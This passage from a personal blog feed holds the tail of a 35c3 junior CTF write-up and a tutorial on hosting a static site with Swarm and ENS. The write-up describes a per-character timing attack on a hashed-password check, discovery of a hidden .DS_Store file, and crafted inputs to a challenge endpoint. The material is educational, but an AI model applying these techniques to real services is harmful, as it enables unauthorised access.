<span class="k">let</span> <span class="n">hashes</span><span class="p">:</span> <span class="nb">Vec</span><span class="o"><</span><span class="nb">String</span><span class="o">></span> <span class="o">=</span> <span class="nn">BufReader</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">File</span><span class="p">::</span><span class="nf">open</span><span class="p">(</span><span class="nn">Path</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"hashes.txt"</span><span class="p">))</span><span class="nf">.unwrap</span><span class="p">())</span><span class="nf">.lines</span><span class="p">()</span><span class="nf">.map</span><span class="p">(|</span><span class="n">x</span><span class="p">|</span> <span class="n">x</span><span class="nf">.unwrap</span><span class="p">())</span><span class="nf">.collect</span><span class="p">();</span>
<span class="nn">BufReader</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">File</span><span class="p">::</span><span class="nf">open</span><span class="p">(</span><span class="nn">Path</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">))</span><span class="nf">.unwrap</span><span class="p">())</span><span class="nf">.read_to_string</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span> <span class="n">flag</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">();</span>
<span class="nd">println!</span><span class="p">(</span><span class="s">"Please enter the very secret password:"</span><span class="p">);</span>
<span class="n">stdin</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.read_line</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span> <span class="n">password</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">();</span>
<span class="k">let</span> <span class="n">password</span> <span class="o">=</span> <span class="o">&</span><span class="n">password</span><span class="p">[</span><span class="mi">0</span><span class="o">..</span><span class="mi">32</span><span class="p">];</span>
<span class="k">for</span> <span class="n">c</span> <span class="n">in</span> <span class="n">password</span><span class="nf">.chars</span><span class="p">()</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">hash</span> <span class="o">=</span> <span class="nf">hash</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
<span class="k">if</span> <span class="n">hash</span> <span class="o">!=</span> <span class="n">hashes</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">{</span>
<span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="nd">println!</span><span class="p">(</span><span class="s">"{}"</span><span class="p">,</span> <span class="o">&</span><span class="n">flag</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">fn</span> <span class="nf">hash</span><span class="p">(</span><span class="n">c</span><span class="p">:</span> <span class="nb">char</span><span class="p">)</span> <span class="k">-></span> <span class="nb">String</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">hash</span> <span class="o">=</span> <span class="nn">String</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>
<span class="n">hash</span><span class="nf">.push</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
<span class="k">for</span> <span class="mi">_</span> <span class="n">in</span> <span class="mi">0</span><span class="o">..</span><span class="mi">9999</span> <span class="p">{</span>
<span class="k">let</span> <span class="k">mut</span> <span class="n">sha</span> <span class="o">=</span> <span class="nn">Sha256</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>
<span class="n">sha</span><span class="nf">.input_str</span><span class="p">(</span><span class="o">&</span><span class="n">hash</span><span class="p">);</span>
<span class="n">hash</span> <span class="o">=</span> <span class="n">sha</span><span class="nf">.result_str</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">hash</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this challenge the password for a remote service is required. We do have the source code and know how the password is stored internally: each of the 32 characters is independently hashed 10000 times using sha265 and stored in a file. During the validation the input characters are checked sequentially and the program aborts if there is a mismatch. We also know that the password consists of alphanumeric characters.</p>
<p>This allows for timing attacks. Calculating 10k sha256 hashes is a notable timeout, even over a network connection. We start by bruteforcing the first character and choose the one with the slowest response time. We can then continue with the second character.</p>
<h2 id="mcdonald-web">McDonald (web)</h2>
<p>The challenge website has a <code class="language-plaintext highlighter-rouge">robots.txt</code> file that hints to a file called <code class="language-plaintext highlighter-rouge">/backup/.DS_Store</code>. DS_Store files are used by OS X and contain references to other files in the directory. <a href="https://pypi.org/project/ds_store/">This</a> library can be used to parse the file and the found path contains the flag</p>
<h2 id="equality-error-misc">Equality Error (misc)</h2>
<p>In this challenge we have to find a value that is numeric but not equal to itself:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nx">num</span><span class="p">:</span> <span class="nx">number</span><span class="p">)</span> <span class="o">=></span> <span class="nx">num</span> <span class="o">===</span> <span class="nx">num</span>
<span class="p">?</span> <span class="dl">"</span><span class="s2">EQUALITY WORKS</span><span class="dl">"</span> <span class="p">:</span> <span class="nx">flags</span><span class="p">.</span><span class="nx">EQUALITY_ERROR</span>
</code></pre></div></div>
<p>I know of one Javascript value that fulfills these requirements: <code class="language-plaintext highlighter-rouge">NaN</code>, “not a number”, ironically <code class="language-plaintext highlighter-rouge">typeof NaN === 'number'</code>. Also <code class="language-plaintext highlighter-rouge">NaN !== NaN</code>. While javascript does have the <code class="language-plaintext highlighter-rouge">NaN</code> value, wee lang does not directly support this concept so we can’t simply call <code class="language-plaintext highlighter-rouge">assert_equals(NaN)</code> but have to find a way to “generate” a NaN. My solution to this was the following request, where I try to calculate the square root of -1:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"alert(assert_equals(sqrt(-1)))"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h2 id="wee-r-leet">Wee R Leet</h2>
<p>This challenge requires you to find the <code class="language-plaintext highlighter-rouge">/wee/run</code> endpoint, convert a hex number and get a basic grasp of the wee language:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nx">maybe_leet</span><span class="p">:</span> <span class="nx">number</span><span class="p">)</span> <span class="o">=></span> <span class="nx">maybe_leet</span> <span class="o">!==</span> <span class="mh">0x1337</span> <span class="p">?</span> <span class="dl">"</span><span class="s2">WEE AIN'T LEET</span><span class="dl">"</span> <span class="p">:</span> <span class="nx">flags</span><span class="p">.</span><span class="nx">WEE_R_LEET</span>
</code></pre></div></div>
<p>Wee does not accept the <code class="language-plaintext highlighter-rouge">0x</code> notation for hex numbers</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"alert(assert_leet(4919))"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h2 id="conversion-error-misc">Conversion Error (misc)</h2>
<p>I have to admit I don’t really know why this works, but just sending a string with a lot of 1 does the job:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nx">str</span><span class="p">:</span> <span class="nx">string</span><span class="p">)</span> <span class="o">=></span> <span class="nx">str</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="o">+</span><span class="nx">str</span> <span class="o">+</span> <span class="dl">""</span><span class="p">.</span><span class="nx">length</span> <span class="o">||</span> <span class="o">!</span><span class="sr">/^</span><span class="se">[</span><span class="sr">1-9</span><span class="se">]</span><span class="sr">+</span><span class="se">(\.[</span><span class="sr">1-9</span><span class="se">]</span><span class="sr">+</span><span class="se">)?</span><span class="sr">$/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span>
<span class="p">?</span> <span class="dl">"</span><span class="s2">Convert to Pastafarianism</span><span class="dl">"</span> <span class="p">:</span> <span class="nx">flags</span><span class="p">.</span><span class="nx">CONVERSION_ERROR</span>
</code></pre></div></div>
<p>sometimes trial and error works…</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"code"</span><span class="p">:</span><span class="w"> </span><span class="s2">"alert(assert_conversion('1111111111111111111111111111111111111111111'))"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h2 id="closing-remarks">Closing remarks</h2>
<p>This was my first CTF end I really enjoyed playing, I can only recommend trying it and hope to participate again this year.</p>Martin WagnerI visited the 35c3 again this year and for the first time decided to participate in the c3 CTF with three friends. We decided that the junior version is better suited for our skill level. Now that I’m back home and well rested I want to write down some solutions.Deploy static sites and Dapps using swarm and ENS2017-08-18T00:00:00+02:002017-08-18T00:00:00+02:00/deploy-ENS-static-page<p><a href="https://www.ethereum.org/">Ethereum</a> and the ecosystem around it, are often referred to as the new World Wide Web, the “web3”. While the Web 2.0 brought more user interaction and collaboration the major change this time is decentralization: peer to peer networks instead of huge servers and blockchains instead of databases. Although I am not convinced by everything that is happening in this field I still wanted to take a look at this shiny and currently a little bit unstable ecosystem and the new things it may bring us in the future.</p>
<p>For the first project, I deploy my personal <a href="https://martinwagner.co">homepage</a> using <a href="https://swarm-guide.readthedocs.io">swarm</a> and <a href="https://ens.domains/">ENS</a>. Swarm is a decentralized network that stores data on multiple nodes to provide failure and censorship resistance. It is often compared to <a href="https://ipfs.io">IPFS</a> which has a similar goal. ENS, one other hand, is a decentralized name registry on the Ethereum blockchain that works a bit like DNS. Unlike traditional DNS it is not required to pay for this name, instead, some money has to be locked in the ENS smart contract for the time of the registration. If you have already installed the <a href="https://github.com/ethereum/mist">Mist</a> wallet and you want to see the result just enter <code class="language-plaintext highlighter-rouge">bzz://martin-wagner.eth</code> to load my homepage using swarm.</p>
<p>This setup is especially interesting for Dapps that already interact with the Ethereum blockchain and need a place to host their front end code.</p>
<h2 id="deploying-to-swarm">Deploying to swarm</h2>
<p>There are at least two ways of doing this. If you prefer GUIs you can use Mist, the Ethereum browser, if you are more of a terminal guy there is also a CLI tool.</p>
<h4 id="gui">GUI</h4>
<p>To upload your files to swarm open Mist, wait for it to sync, click <code class="language-plaintext highlighter-rouge">Account > Upload to swarm</code> and select your file or folder. When the operation is completed a browser window with the hash as address should open.</p>
<h4 id="cli">CLI</h4>
<p>Download <a href="https://github.com/ethereum/go-ethereum">geth</a> which should include the <code class="language-plaintext highlighter-rouge">geth</code> and <code class="language-plaintext highlighter-rouge">swarm</code> binaries. The following will probably fail if Mist is running in the background and already using the ports geth binds to.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="c"># create a new account and remember the address</span>
<span class="nv">$ </span>geth account new
<span class="nv">$ </span><span class="c"># start the geth node and let it sync</span>
<span class="nv">$ </span>geth
</code></pre></div></div>
<p>In a new terminal:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="c"># Start the swarm node and provide the address you generated above</span>
<span class="nv">$ </span>swarm <span class="nt">--bzzaccount</span> <span class="nv">$YOUR_ADDRESS</span>
</code></pre></div></div>
<p>Finally in yet another terminal:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="c"># upload the files. "site" is the directory with all web resources</span>
<span class="nv">$ </span>swarm <span class="nt">--recursive</span> <span class="nt">--defaultpath</span> site/index.html up site
<span class="nv">$ </span><span class="c"># the $CONTENT_HASH should be printed to the console</span>
</code></pre></div></div>
<h2 id="view-the-uploaded-files">View the uploaded files</h2>
<p>The recent version of Mist supports viewing swarm content directly in the Dapps browser, if you have it installed you just have to enter <code class="language-plaintext highlighter-rouge">bzz://$CONTENT_HASH</code> into the address bar.</p>
<p>If you use the CLI and don’t have Mist installed you can enter <code class="language-plaintext highlighter-rouge">http://localhost:8500/bzz:/$CONTENT_HASH</code> into your normal browser while the swarm node is still running.</p>
<h2 id="setup-ens">Setup ENS</h2>
<h4 id="making-yourself-a-name">Making yourself a name</h4>
<p>If you haven’t yet registered an ENS the easiest way is to use Mist since it already includes all resources and links. As an alternative it is, of course, possible to do this using the CLI, the <a href="https://docs.ens.domains/en/latest/userguide.html#registering-a-name-with-the-auction-registrar">ENS wiki</a> has instructions for that. If you don’t want to wait for the auction process to take place or don’t have any ether it is also <a href="https://docs.ens.domains/en/latest/userguide.html#registering-a-name-with-the-fifs-registrar">possible to get</a> a <code class="language-plaintext highlighter-rouge">.test</code> domain on the testnet in less than a minute. <a href="http://faucet.ropsten.be:3001/">This faucet</a> can be used to get free testnet coins.</p>
<h4 id="configure-the-ens-record">Configure the ENS record</h4>
<p>As the last step, the ENS resolver has to be informed about the content hash we received earlier. Again if Mist is used this is very simple since the ENS manager app includes a field to just enter this information.</p>
<p>Without Mist the geth console can be used to set everything up:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>geth console <span class="c"># or `geth attach` if the geth server is still running</span>
<span class="o">></span> loadScript<span class="o">(</span><span class="s1">'ensutils.js'</span><span class="o">)</span> <span class="c"># available at https://github.com/ethereum/ens</span>
<span class="o">></span> personal.unlockAccount<span class="o">(</span>eth.accounts[0]<span class="o">)</span>
<span class="o">></span> ens.setResolver<span class="o">(</span>namehash<span class="o">(</span><span class="s1">'NAME.eth'</span><span class="o">)</span>, publicResolver.address, <span class="o">{</span>from: eth.accounts[0], gas: 100000<span class="o">})</span>
<span class="o">></span> publicResolver.setContent<span class="o">(</span>namehash<span class="o">(</span><span class="s1">'NAME.eth'</span><span class="o">)</span>, <span class="s1">'$CONTENT_HASH'</span>, <span class="o">{</span>from: eth.accounts[0], gas: 100000<span class="o">})</span>
</code></pre></div></div>
<p>As soon as all calls to the registrar and resolver are completed you can use <code class="language-plaintext highlighter-rouge">NAME.eth</code> instead of <code class="language-plaintext highlighter-rouge">$CONTENT_HASH</code> as address for your site.</p>Martin WagnerEthereum and the ecosystem around it, are often referred to as the new World Wide Web, the “web3”. While the Web 2.0 brought more user interaction and collaboration the major change this time is decentralization: peer to peer networks instead of huge servers and blockchains instead of databases. Although I am not convinced by everything that is happening in this field I still wanted to take a look at this shiny and currently a little bit unstable ecosystem and the new things it may bring us in the future.